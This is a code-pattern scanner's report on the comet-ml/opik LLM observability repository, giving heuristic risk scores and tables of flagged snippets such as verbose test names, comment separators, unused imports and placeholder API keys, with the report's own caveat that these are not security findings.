AI Slop Code RIsk Monitor

comet-ml/opik

Debug, evaluate, and monitor your LLM applications, RAG systems, and agentic workflows with comprehensive tracing, automated evaluations, and production-ready dashboards.

13.9 Moderate pattern signal View on GitHub

Maintenance and Governance Review

This report summarizes scanner evidence for comet-ml/opik, a Python project with 22,494 GitHub stars. SynthScan examined 1,651,111 lines of code across 10510 source files, recording 16868 pattern matches distributed across 27 syntactic categories. The legacy adjusted pattern signal is 13.9 (Moderate pattern signal); it is not an authorship estimate.

Use the findings to ask whether maintainers can explain intent, verify dependencies, simplify unnecessary scaffolding, and focus review effort. Risk Payload v1 adds ownership, supply-chain, over-engineering, and review-effort vectors when available. These are prompts for human verification, not probabilities, security findings, or measured maintenance costs.

13.9
Adjusted Signal
13.9
Raw Pattern Score
100%
Time Factor
2026-10-10
Last Push
22.5K
Stars
Python
Language
1.7M
Lines of Code
10.5K
Files
16.9K
Pattern Hits
2026-10-12
Scan Date
0.14
HC Hit Rate

Risk Review · v3

Use each vector to guide manual verification of the underlying findings.

Cognitive Ownership Risk 30.0/100 · MEDIUM

Can maintainers explain intent, assumptions, and trade-offs? 10839 finding(s).

Hallucinated Dependency & Supply Chain Risk 15.9/100 · LOW

Are imports declared and package/API names verified? 3809 finding(s).

Agent Over-Engineering Ratio 35.1/100 · MEDIUM

Are wrappers, guards, and repeated structures necessary? 11296 finding(s).

PR Review Velocity Impact 55.7/100 · HIGH

Which changes need focused human review? 16868 finding(s).

What These Metrics Mean

Adjusted Signal
Legacy pattern score normalized per 1,000 scanned lines and multiplied by the repository-level time factor. It is not an estimate of AI authorship.
Raw Pattern Score
Sum of severity- and context-weighted pattern findings before applying the time factor.
Time Factor
A coarse multiplier based on repository last-push metadata. It does not identify when individual code was written.
Pattern Hits
Count of configured pattern findings. Review each location and surrounding code before acting.
HC Hit Rate
High- and critical-severity findings per scanned file. Severity is a configured detector weight, not proof of a vulnerability or authorship.
Lines / Files
Scan coverage denominators used by the legacy normalized score.

Pattern-Signal History

This chart tracks the legacy adjusted pattern score across scan runs. Changes can reflect source changes, scan coverage, or detector/scoring versions; they do not measure AI adoption or prove that a team refactored code. Compare runs only when their scoring versions are compatible. The dashed line tracks the raw pattern-hit count.

Severity Breakdown

Groups findings by configured severity weight. Severity is not a confidence estimate, security rating, or proof that a package is missing. Verify imports against the project's manifests and inspect each finding in its local design context.

CRITICAL 167HIGH 1253MEDIUM 1117LOW 14331

Directory Score Breakdown

This horizontal bar chart shows where configured pattern scores accumulate across directories. Treat the bars as locations to inspect, not as evidence of authorship or code quality. Use the file-level findings to decide whether a directory needs a focused ownership, dependency, complexity, or review check.

Pattern Findings

The scanner identified 16868 distinct pattern matches across 27 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a detector match to inspect in context. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the configured finding weight (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — legacy comment-context matches receive a ×1.5 score weight. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier under the legacy scoring model.

Hyper-Verbose Identifiers8746 hits · 8538 pts
SeverityFileLineSnippetContext
LOWsdks/python/design/TESTING.md129def test_track__one_nested_function__happyflow(fake_backend):CODE
LOWsdks/python/design/TESTING.md190def test_openai_client_responses_create__happyflow(fake_backend):CODE
LOWsdks/python/design/TESTING.md258def test_trace_creation_and_retrieval(opik_client, temporary_project_name):CODE
LOWsdks/python/design/TESTING.md500def shutdown_cached_client_after_test():CODE
LOWsdks/python/design/TESTING.md562def reset_tracing_to_config_default():CODE
LOWsdks/python/design/TESTING.md583def test_track__one_nested_function__happyflow(fake_backend):CODE
LOWsdks/python/design/TESTING.md641def test_openai_client_responses_create__happyflow(CODE
LOWsdks/python/design/TESTING.md700def test_trace_creation_with_spans(opik_client, temporary_project_name):CODE
LOWsdks/python/design/TESTING.md753def test_track__function_raises_exception__error_info_captured(fake_backend):CODE
LOWsdks/python/design/TESTING.md792def test_openai_streaming_response(fake_backend):CODE
LOWsdks/python/design/TESTING.md838def test_hallucination_metric__happyflow():CODE
LOW⚡sdks/python/design/TESTING.md861def test_track__one_nested_function__happyflow(fake_backend):CODE
LOW⚡sdks/python/design/TESTING.md862def test_track__function_raises_exception__error_info_captured(fake_backend):CODE
LOW⚡sdks/python/design/TESTING.md863def test_evaluate__with_custom_metric__scores_computed_correctly(fake_backend):CODE
LOWsdks/python/design/TESTING.md940def test_double_function__various_inputs__correct_outputs(CODE
LOWsdks/python/design/TESTING.md971def ensure_myintegration_configured():CODE
LOWsdks/python/design/API_AND_DATA_FLOW.md708def _process_create_trace_message(CODE
LOWsdks/python/design/API_AND_DATA_FLOW.md1085def _has_potential_content_with_attachments(message: BaseMessage) -> bool:CODE
LOWsdks/python/design/API_AND_DATA_FLOW.md1098def _message_has_field_of_interest_set(message) -> bool:CODE
LOWsdks/python/design/API_AND_DATA_FLOW.md1632def _process_create_spans_batch_message(CODE
LOWsdks/python/design/API_AND_DATA_FLOW.md1748def _generate_error_tracking_extra(CODE
LOWsdks/python/design/EVALUATION.md621def evaluate_llm_task_context(CODE
LOWsdks/python/design/EVALUATION.md1159def is_llm_provider_rate_limit_error(exception: Exception) -> bool:CODE
LOWsdks/python/tests/conftest.py34def shutdown_cached_client_after_test():CODE
LOWsdks/python/tests/conftest.py46def skip_local_configuration_file(tmp_path):CODE
LOWsdks/python/tests/conftest.py113def patch_streamer_without_batching(CODE
LOWsdks/python/tests/conftest.py173def fake_backend_without_batching(patch_streamer_without_batching):CODE
LOWsdks/python/tests/conftest.py197def fake_backend_with_patched_environment(request, patch_streamer):CODE
LOWsdks/python/tests/conftest.py226def configure_opik_local_env_vars():CODE
LOWsdks/python/tests/conftest.py236def configure_opik_not_configured():CODE
LOW⚡sdks/python/tests/conftest.py279def ensure_google_project_and_location_configured():CODE
LOW⚡sdks/python/tests/conftest.py289def ensure_anthropic_configured():CODE
LOW⚡sdks/python/tests/conftest.py297def ensure_mistral_configured():CODE
LOW⚡sdks/python/tests/conftest.py305def ensure_vertexai_configured(ensure_google_project_and_location_configured):CODE
LOW⚡sdks/python/tests/conftest.py336def ensure_google_api_configured():CODE
LOW⚡sdks/python/tests/conftest.py343def ensure_aws_bedrock_configured():CODE
LOW⚡sdks/python/tests/unit/test_environment_session_id.py26def test_session_id__launcher_passed_one__it_is_used(monkeypatch):CODE
LOW⚡sdks/python/tests/unit/test_environment_session_id.py31def test_session_id__no_launcher__one_is_generated(monkeypatch):CODE
LOW⚡sdks/python/tests/unit/test_environment_session_id.py39def test_run_context__launcher_named__is_reported(monkeypatch):CODE
LOW⚡sdks/python/tests/unit/test_environment_session_id.py60def test_launcher_values__are_read_from_the_environment(reimported):CODE
LOW⚡sdks/python/tests/unit/test_environment_session_id.py67def test_launcher_values__blank__are_not_used(reimported):CODE
LOW⚡sdks/python/tests/unit/test_environment_session_id.py77def test_launcher_values__are_not_passed_on_to_child_processes(reimported):CODE
LOW⚡sdks/python/tests/unit/test_environment_session_id.py87def test_session_id__forked_child__does_not_keep_the_launcher_id(monkeypatch):CODE
LOWsdks/python/tests/unit/conftest.py12def shutdown_opik_background_threads():CODE
LOWsdks/python/tests/unit/test_url_helpers.py31def test_get_is_alive_ping_url__base_url__returns_expected_ping_url(CODE
LOWsdks/python/tests/unit/test_url_helpers.py58def test_get_user_permissions_url__url_override__keeps_path_prefix(CODE
LOWsdks/python/tests/unit/test_url_helpers.py78def test_get_ui_url__url_override__only_strips_api_suffix(CODE
LOWsdks/python/tests/unit/test_url_helpers.py102def test_get_dataset_url_by_id__returns_direct_project_scoped_url(CODE
LOWsdks/python/tests/unit/test_url_helpers.py129def test_get_test_suite_url_by_id__returns_direct_project_scoped_url(CODE
LOWsdks/python/tests/unit/test_url_helpers.py158def test_get_experiment_url_by_id__returns_direct_dataset_scoped_url(CODE
LOWsdks/python/tests/unit/test_logging.py6def test_convert_exception_to_log_message__happy_scenario_with_original_returned_value():CODE
LOWsdks/python/tests/unit/test_logging.py26def test_convert_exception_to_log_message__exception_raised__exception_converted_into_log_message__another_value_returneCODE
LOWsdks/python/tests/unit/test_logging.py49def test_convert_exception_to_log_message__logging_level_not_set__error_level_used():CODE
LOW⚡sdks/python/tests/unit/test_opik_context_storage.py25def test_opik_storage__span_data_not_empty_after_adding_span(sample_span):CODE
LOW⚡sdks/python/tests/unit/test_opik_context_storage.py32def test_opik_storage__add_span_data__adds_to_stack__the_same_instance_can_be_accessed(CODE
LOW⚡sdks/python/tests/unit/test_opik_context_storage.py41def test_opik_storage__pop_span_data__with_ensure_id_matching_top__returns_span(CODE
LOW⚡sdks/python/tests/unit/test_opik_context_storage.py50def test_opik_storage__pop_span_data__with_ensure_id_not_matching_top__returns_none(CODE
LOW⚡sdks/python/tests/unit/test_opik_context_storage.py60def test_opik_storage__pop_span_data__without_ensure_id__returns_span(sample_span):CODE
LOW⚡sdks/python/tests/unit/test_opik_context_storage.py68def test_opik_storage__pop_span_data__multiple_spans__returns_in_lifo_order():CODE
LOWsdks/python/tests/unit/test_opik_context_storage.py85def test_opik_storage__pop_span_data__without_ensure_id__finished_span_on_top__pops_the_live_span_beneath():CODE
8686 more matches not shown…
Decorative Section Separators700 hits · 2422 pts
SeverityFileLineSnippetContext
MEDIUM⚡.pre-commit-config.yaml187 # ---------------------------------------------------------------------------COMMENT
MEDIUM⚡.pre-commit-config.yaml189 # ---------------------------------------------------------------------------COMMENT
MEDIUM⚡.pre-commit-config.yaml242 # ---------------------------------------------------------------------------COMMENT
MEDIUM⚡.pre-commit-config.yaml245 # ---------------------------------------------------------------------------COMMENT
MEDIUM⚡.pre-commit-config.yaml255 # ---------------------------------------------------------------------------COMMENT
MEDIUM⚡.pre-commit-config.yaml258 # ---------------------------------------------------------------------------COMMENT
MEDIUM⚡.pre-commit-config.yaml271 # ---------------------------------------------------------------------------COMMENT
MEDIUM⚡.pre-commit-config.yaml275 # ---------------------------------------------------------------------------COMMENT
MEDIUM⚡.pre-commit-config.yaml285 # ---------------------------------------------------------------------------COMMENT
MEDIUM⚡.pre-commit-config.yaml289 # ---------------------------------------------------------------------------COMMENT
MEDIUM⚡.pre-commit-config.yaml299 # ---------------------------------------------------------------------------COMMENT
MEDIUM⚡.pre-commit-config.yaml303 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml10 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml12 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml55 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml57 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml222 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml224 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml318 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml320 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml335 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml340 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml352 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml357 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml368 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml378 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml391 # ---------------------------------------------------------------------------COMMENT
MEDIUM.pre-commit-config.yaml401 # ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/llm_constants.py23# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/llm_constants.py25# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/llm_constants.py49# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/llm_constants.py51# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/llm_constants.py63# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/llm_constants.py65# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/llm_constants.py71# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/llm_constants.py73# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/llm_constants.py80# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/llm_constants.py82# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/unit/test_export_import_all.py112# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/unit/test_export_import_all.py114# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/unit/test_export_import_all.py258# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/unit/test_export_import_all.py260# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/unit/test_export_import_all.py366# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/unit/test_export_import_all.py368# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/unit/test_export_import_all.py396# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/unit/test_export_import_all.py398# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/unit/test_export_import_all.py487# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/unit/test_export_import_all.py489# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/unit/test_export_import_all.py515# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/unit/test_export_import_all.py517# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/unit/test_export_import_all.py1156# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/unit/test_export_import_all.py1158# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/unit/test_export_import_all.py1344# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/unit/test_export_import_all.py1346# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/unit/test_export_import_all.py1506# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡sdks/python/tests/unit/test_export_import_all.py1509# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py62# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py64# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py1407# ---------------------------------------------------------------------------COMMENT
MEDIUMsdks/python/tests/unit/test_export_import_all.py1409# ---------------------------------------------------------------------------COMMENT
640 more matches not shown…
Unused Imports2754 hits · 1944 pts
SeverityFileLineSnippetContext
LOW…s/python/tests/unit/cli/test_migrate_prompt_planner.py8CODE
LOW…ts/unit/cli/test_migrate_dataset_resume_reconstruct.py10CODE
LOW…/python/tests/unit/cli/test_migrate_prompt_executor.py10CODE
LOWsdks/python/tests/unit/cli/_migrate_helpers.py9CODE
LOW…unit/cli/test_migrate_dataset_optimizations_cascade.py23CODE
LOW…/python/tests/unit/cli/test_migrate_dataset_planner.py12CODE
LOW…s/unit/cli/test_migrate_dataset_experiments_cascade.py22CODE
LOW…thon/tests/unit/cli/test_migrate_dataset_checkpoint.py20CODE
LOWsdks/python/tests/unit/cli/_migrate_prompt_helpers.py9CODE
LOW…/tests/unit/cli/test_migrate_dataset_version_replay.py13CODE
LOW…ions/mistral/test_chat_completion_chunks_aggregator.py638CODE
LOW…ests/unit/evaluation/models/test_litellm_chat_model.py232CODE
LOW…on/tests/testlib/backend_emulator_message_processor.py9CODE
LOWsdks/python/tests/testlib/__init__.py1CODE
LOWsdks/python/tests/testlib/__init__.py1CODE
LOWsdks/python/tests/testlib/__init__.py1CODE
LOWsdks/python/tests/testlib/__init__.py1CODE
LOWsdks/python/tests/testlib/__init__.py1CODE
LOWsdks/python/tests/testlib/__init__.py2CODE
LOWsdks/python/tests/testlib/__init__.py2CODE
LOWsdks/python/tests/testlib/__init__.py2CODE
LOWsdks/python/tests/testlib/__init__.py2CODE
LOWsdks/python/tests/testlib/__init__.py8CODE
LOWsdks/python/tests/testlib/__init__.py9CODE
LOWsdks/python/tests/testlib/__init__.py10CODE
LOWsdks/python/tests/testlib/__init__.py11CODE
LOWsdks/python/tests/testlib/__init__.py11CODE
LOWsdks/python/tests/testlib/__init__.py11CODE
LOWsdks/python/tests/testlib/__init__.py11CODE
LOWsdks/python/tests/testlib/__init__.py12CODE
LOWsdks/python/tests/testlib/__init__.py12CODE
LOW…s/e2e_library_integration/adk/sample_agent/__init__.py1CODE
LOW…ary_integration/adk/sample_agent_anthropic/__init__.py1CODE
LOW…ibrary_integration/adk/sample_agent_openai/__init__.py1CODE
LOWsdks/python/tests/e2e/test_annotation_queue.py1CODE
LOWsdks/python/tests/e2e/test_threads.py1CODE
LOW…ython/tests/e2e/cli/test_migrate_dataset_resume_e2e.py29CODE
LOWsdks/python/tests/e2e/cli/conftest.py17CODE
LOWsdks/python/tests/e2e/cli/test_migrate_prompt_e2e.py16CODE
LOW…/cli/test_migrate_dataset_cross_project_cascade_e2e.py32CODE
LOW…ks/python/tests/e2e/cli/test_migrate_test_suite_e2e.py23CODE
LOW…sts/e2e/cli/test_migrate_dataset_evaluate_shape_e2e.py24CODE
LOWsdks/python/tests/e2e/cli/test_migrate_dataset_e2e.py23CODE
LOWsdks/python/tests/e2e/cli/_cascade_comparison.py61CODE
LOW…ests/e2e/cli/test_migrate_dataset_optimizations_e2e.py36CODE
LOWsdks/python/src/_opik/__init__.py11CODE
LOWsdks/python/src/_opik/__init__.py12CODE
LOWsdks/python/src/opik/config.py1CODE
LOWsdks/python/src/opik/__init__.py1CODE
LOWsdks/python/src/opik/__init__.py2CODE
LOWsdks/python/src/opik/__init__.py2CODE
LOWsdks/python/src/opik/__init__.py6CODE
LOWsdks/python/src/opik/__init__.py7CODE
LOWsdks/python/src/opik/__init__.py8CODE
LOWsdks/python/src/opik/__init__.py9CODE
LOWsdks/python/src/opik/__init__.py10CODE
LOWsdks/python/src/opik/__init__.py11CODE
LOWsdks/python/src/opik/__init__.py12CODE
LOWsdks/python/src/opik/__init__.py13CODE
LOWsdks/python/src/opik/__init__.py13CODE
2694 more matches not shown…
Hallucination Indicators167 hits · 1660 pts
SeverityFileLineSnippetContext
CRITICALsdks/python/tests/unit/runner/test_supervisor.py555 checklist = api.runners.patch_checklist.call_args.kwargs.get(STRING
CRITICAL…thon/src/opik/api_objects/optimization/optimization.py73 response = self._rest_client.optimizations._raw_client._client_wrapper.httpx_client.request(CODE
CRITICAL…/opik_optimizer/tests/unit/core/test_scoring_health.py21from opik_optimizer.core.exceptions import ScoringFailedErrorCODE
CRITICAL…gorithms/gepa_optimizer/test_gepa_reflection_budget.py12from opik_optimizer.core.exceptions import ReflectionBudgetExceededErrorCODE
CRITICAL…t/algorithms/gepa_optimizer/test_gepa_reflection_lm.py36from opik_optimizer.core.exceptions import EmptyLLMResponseErrorCODE
CRITICALsdks/opik_optimizer/tests/unit/utils/test_utils.py6from opik_optimizer.utils.helpers import json_to_dictCODE
CRITICAL⚡sdks/opik_optimizer/tests/unit/utils/test_utils.py158 from opik_optimizer.utils.helpers import _convert_literals_to_json_compatibleCODE
CRITICAL⚡sdks/opik_optimizer/tests/unit/utils/test_utils.py165 from opik_optimizer.utils.helpers import _convert_literals_to_json_compatibleCODE
CRITICAL⚡sdks/opik_optimizer/tests/unit/utils/test_utils.py172 from opik_optimizer.utils.helpers import _convert_literals_to_json_compatibleCODE
CRITICAL⚡sdks/opik_optimizer/tests/unit/utils/test_utils.py179 from opik_optimizer.utils.helpers import _convert_literals_to_json_compatibleCODE
CRITICAL⚡sdks/opik_optimizer/tests/unit/utils/test_utils.py188 from opik_optimizer.utils.helpers import _convert_literals_to_json_compatibleCODE
CRITICAL⚡sdks/opik_optimizer/tests/unit/utils/test_utils.py198 from opik_optimizer.utils.helpers import _convert_literals_to_json_compatibleCODE
CRITICALsdks/opik_optimizer/benchmarks/engines/local/engine.py31from benchmarks.utils.helpers import make_serializableCODE
CRITICALsdks/opik_optimizer/benchmarks/engines/modal/volume.py10from benchmarks.utils.helpers import make_serializableCODE
CRITICAL…es/v1/priv/PromptResourceProjectScopedPromptsTest.java132 URLEncoder.encode(com.comet.opik.utils.JsonUtils.writeValueAsString(sortingFields),CODE
CRITICAL…k/api/resources/v1/priv/OpenTelemetryResourceTest.java482 var spanBuilder = com.comet.opik.api.Span.builder()CODE
CRITICAL…k/api/resources/v1/priv/OpenTelemetryResourceTest.java1149 var existingSpan = com.comet.opik.api.Span.builder()CODE
CRITICAL…ik/api/resources/v1/priv/LocalRunnersResourceTest.java777 @org.junit.jupiter.params.provider.MethodSource("paramsWithPresenceCases")CODE
CRITICAL…ik/api/resources/v1/priv/LocalRunnersResourceTest.java794 org.junit.jupiter.params.provider.Arguments.of(List.of(CODE
CRITICAL…ik/api/resources/v1/priv/LocalRunnersResourceTest.java801 org.junit.jupiter.params.provider.Arguments.of(List.of(CODE
CRITICAL…met/opik/api/resources/v1/priv/OllamaResourceTest.java142 .post(jakarta.ws.rs.client.Entity.json(request));CODE
CRITICAL…met/opik/api/resources/v1/priv/OllamaResourceTest.java171 .post(jakarta.ws.rs.client.Entity.json(request));CODE
CRITICAL…met/opik/api/resources/v1/priv/OllamaResourceTest.java192 .post(jakarta.ws.rs.client.Entity.json(request));CODE
CRITICAL…met/opik/api/resources/v1/priv/OllamaResourceTest.java211 .post(jakarta.ws.rs.client.Entity.json(request));CODE
CRITICAL…met/opik/api/resources/v1/priv/OllamaResourceTest.java270 .post(jakarta.ws.rs.client.Entity.json(request));STRING
CRITICAL…met/opik/api/resources/v1/priv/OllamaResourceTest.java314 .post(jakarta.ws.rs.client.Entity.json(request));STRING
CRITICAL…met/opik/api/resources/v1/priv/OllamaResourceTest.java335 .post(jakarta.ws.rs.client.Entity.json(request));STRING
CRITICAL…api/resources/v1/priv/ChatCompletionsResourceTest.java513 com.github.tomakehurst.wiremock.client.WireMock.equalTo(apiVersion)));CODE
CRITICAL…pi/resources/v1/priv/FindTraceThreadsResourceTest.java1894 var matchingValue = com.comet.opik.utils.JsonUtils.getJsonNodeFromString(CODE
CRITICAL…riv/ExperimentsResourceFindProjectExperimentsTest.java548 com.comet.opik.api.resources.utils.ListComparators.ascending())CODE
CRITICAL…riv/ExperimentsResourceFindProjectExperimentsTest.java554 com.comet.opik.api.resources.utils.ListComparators.descending())CODE
CRITICAL…ik/api/resources/v1/priv/AgentConfigsResourceTest.java952 com.comet.opik.domain.AgentConfigEnv.builder()CODE
CRITICAL…s/v1/priv/ProjectMetricsWithBreakdownResourceTest.java109 wireMock = com.comet.opik.api.resources.utils.WireMockUtils.startWireMock();CODE
CRITICAL…i/resources/v1/priv/LlmProviderApiKeyResourceTest.java913 wireMock.server().stubFor(com.github.tomakehurst.wiremock.client.WireMock.post(urlPathEqualTo(tokenPath))CODE
CRITICAL…i/resources/v1/priv/LlmProviderApiKeyResourceTest.java914 .willReturn(com.github.tomakehurst.wiremock.client.WireMock.aResponse()CODE
CRITICAL…rces/v1/priv/AutomationRuleEvaluatorsResourceTest.java1584 .isEqualTo((new com.comet.opik.api.error.ErrorMessage(STRING
CRITICAL…t/opik/api/resources/v1/priv/DatasetsResourceTest.java11483 var changes = com.comet.opik.api.DatasetItemChanges.builder()STRING
CRITICAL…t/opik/api/resources/v1/priv/DatasetsResourceTest.java11537 .put(jakarta.ws.rs.client.Entity.json(STRING
CRITICAL…ts/OnlineScoringUserDefinedMetricPythonScorerTest.java316 var span = com.comet.opik.api.Span.builder()CODE
CRITICAL⚡…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java240 org.assertj.core.api.Assertions.assertThat(useTools).isFalse();CODE
CRITICAL⚡…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java244 return com.comet.opik.api.evaluators.LlmAsJudgeMessage.builder()CODE
CRITICAL⚡…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java254 return com.comet.opik.api.evaluators.LlmAsJudgeMessage.builder()CODE
CRITICAL⚡…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java367 org.assertj.core.api.Assertions.assertThat(sent.get(0).messages()).hasSize(3);CODE
CRITICAL⚡…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java368 org.assertj.core.api.Assertions.assertThat(sent.get(0).toolSpecifications())CODE
CRITICAL⚡…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java376 org.assertj.core.api.Assertions.assertThat(finalSent.toolSpecifications()).isNullOrEmpty();CODE
CRITICAL⚡…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java377 org.assertj.core.api.Assertions.assertThat(finalSent.messages()).hasSize(5);CODE
CRITICAL⚡…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java378 org.assertj.core.api.Assertions.assertThat(finalSent.messages().get(3))CODE
CRITICAL⚡…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java380 org.assertj.core.api.Assertions.assertThat(finalSent.messages().get(4))CODE
CRITICAL⚡…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java382 org.assertj.core.api.Assertions.assertThat(CODE
CRITICAL⚡…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java492 org.assertj.core.api.Assertions.assertThat(finalSent.toolSpecifications()).isNullOrEmpty();CODE
CRITICAL⚡…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java494 org.assertj.core.api.Assertions.assertThat(lastMessage)CODE
CRITICAL⚡…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java496 org.assertj.core.api.Assertions.assertThat(CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java196 @org.junit.jupiter.params.provider.CsvSource({CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java222 org.assertj.core.api.Assertions.assertThat(useTools).isEqualTo(expectedUseTools);CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java307 org.assertj.core.api.Assertions.assertThat(result).isSameAs(plainResponse);CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java356 org.assertj.core.api.Assertions.assertThat(result).isSameAs(finalResponse);CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java480 org.assertj.core.api.Assertions.assertThat(result).isSameAs(finalResponse);CODE
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java672 org.assertj.core.api.Assertions.assertThat(prompt).doesNotContain("\"spans\"");STRING
CRITICAL…ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java706 org.assertj.core.api.Assertions.assertThat(prompt).doesNotContain(body);STRING
CRITICAL⚡…k/api/resources/v1/events/OnlineScoringEngineTest.java1206 var multimodalMessage = List.of(com.comet.opik.api.evaluators.LlmAsJudgeMessage.builder()STRING
107 more matches not shown…
Magic Placeholder Names668 hits · 1552 pts
SeverityFileLineSnippetContext
HIGHsdks/python/README.md46 api_key="YOUR_API_KEY",CODE
HIGHsdks/python/design/TESTING.md1008export OPIK_API_KEY="your_api_key"CODE
HIGHsdks/python/design/API_AND_DATA_FLOW.md42 api_key="your_api_key" # Optional: for cloud deploymentsCODE
HIGH…/python/src/opik/api_objects/threads/threads_client.py96 >>> client = Opik(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME")STRING
HIGHsdks/python/src/opik/rest_api/client.py84 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/client.py182 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/client.py203 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/client.py240 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/client.py339 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGHsdks/python/src/opik/rest_api/client.py363 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…python/src/opik/rest_api/agent_insights_jobs/client.py51 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…python/src/opik/rest_api/agent_insights_jobs/client.py78 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…python/src/opik/rest_api/agent_insights_jobs/client.py112 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…python/src/opik/rest_api/agent_insights_jobs/client.py140 client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…python/src/opik/rest_api/agent_insights_jobs/client.py184 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
HIGH…python/src/opik/rest_api/agent_insights_jobs/client.py214 client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", )STRING
